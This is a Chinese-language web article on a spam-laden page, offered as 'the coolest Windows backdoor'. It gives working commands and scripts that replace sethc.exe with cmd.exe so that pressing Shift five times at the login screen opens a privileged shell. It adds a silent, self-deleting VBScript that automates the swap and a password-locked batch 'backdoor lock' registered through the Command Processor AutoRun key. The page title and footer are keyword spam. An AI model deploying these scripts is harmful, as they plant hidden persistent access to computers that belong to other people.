国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

變態入侵:有史以來最酷的Windows后門
2007-11-21   

后門原理:

在windows 2000/xp/vista下,按shift鍵5次,可以打開粘置,會運行sethc.exe,而且,在登錄界面里也可以打開。這就讓人聯想到WINDOWS的屏保,將程序替換成cmd.exe后,就可以打開shell了。

XP:

將安裝源光盤彈出(或將硬盤上的安裝目錄改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe

VISTA:

takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替換文件

在登錄界面按5此SHIFT,出來cmd shell,然后……

后門擴展:

Dim obj, success 
Set obj = CreateObject("WScript.Shell") 
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True) 
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True) 
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True) 
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True) 
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True) 
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) 

第二句最有意思了.自動應答....以前就遇到過類似的問題

再更新.加個自刪除,簡化代碼... 

On Error Resume Next 
Dim obj, success 
Set obj = CreateObject("WScript.Shell") 
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) 
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

后門鎖擴展:

allyesno注:可以采用cmd 鎖 來進行cmdshell的密碼驗證

用下面的后門鎖的方法是 把代碼保存為bdlock.bat

然后修改注冊表位置即可

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"

@Echo Off
title 后門登陸驗證
color a
cls
set temprandom=%RANDOM%
echo 請輸入驗證碼:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后門服務器驗證
rem 如果沒有后門驗證服務器請rem注釋掉下一行代碼
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 驗證失敗
pause
exit
:passcheck
echo 驗證成功
If "%passcmdlock%"=="Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 請輸入驗證密碼?
Set password=allyesno Is a pig>nul
Set/p password=
rem 萬能密碼
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul 
If "%errorlevel%"=="0" cls&Echo 口令正確&Goto End
Echo 請聯系客服咨詢正確密碼!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo

:endx


熱詞搜索:

上一篇:關閉10種服務 提高Windows XP系統安全性
下一篇:TAP 技術與鏡像技術正反兩方面的評述

分享到: 收藏
主站蜘蛛池模板: 灵丘县| 普兰县| 开阳县| 张家口市| 宁明县| 甘洛县| 阳城县| 苏尼特右旗| 阳泉市| 锡林浩特市| 罗江县| 云龙县| 元谋县| 宁都县| 双江| 美姑县| 乐至县| 乡宁县| 谷城县| 沂水县| 白沙| 通化市| 鄂伦春自治旗| 额尔古纳市| 平遥县| 阜宁县| 南召县| 五原县| 苏尼特右旗| 常德市| 仁怀市| 绥滨县| 阳高县| 顺昌县| 莱芜市| 宁都县| 西城区| 青川县| 奈曼旗| 丽水市| 吉水县|